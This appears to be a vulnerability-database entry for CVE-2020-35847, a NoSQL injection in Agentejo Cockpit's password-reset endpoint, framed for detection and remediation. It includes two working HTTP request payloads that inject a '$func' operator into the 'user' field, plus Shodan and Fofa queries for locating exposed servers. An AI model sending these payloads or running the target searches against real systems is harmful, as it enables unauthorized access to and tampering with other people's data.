🔙 목록으로 돌아가기

CVE-2020-35847: Agentejo Cockpit <0.11.2 - NoSQL Injection

TitleAgentejo Cockpit <0.11.2 - NoSQL Injection
Authordwisiswant0
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary NoSQL queries, potentially leading to unauthorized access, data manipulation, or denial of service.
RemediationUpgrade Agentejo Cockpit to version 0.11.2 or later to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.9391
CVE IDCVE-2020-35847
CWE IDCWE-89
Shodan Queryhttp.favicon.hash:688609340http.html:"cockpit"
Fofa Queryicon_hash=688609340body="cockpit"
Tags cve cve2020 nosqli sqli cockpit injection agentejo vuln

🔍 Vulnerability Description

Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function of the Auth controller.

🌐 HTTP Request

POST /auth/requestreset HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.9 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 47
Content-Type: application/json
Accept-Encoding: gzip

{

  "user": {

    "$func": "var_dump"

  }

}
POST /auth/requestreset HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_6_6; de) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.2 Safari/605.1.15
Connection: close
Content-Length: 59
Content-Type: application/json
Accept-Encoding: gzip

{

  "user": {

    "$func": "nonexistent_function"

  }

}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-35847.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-35847.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A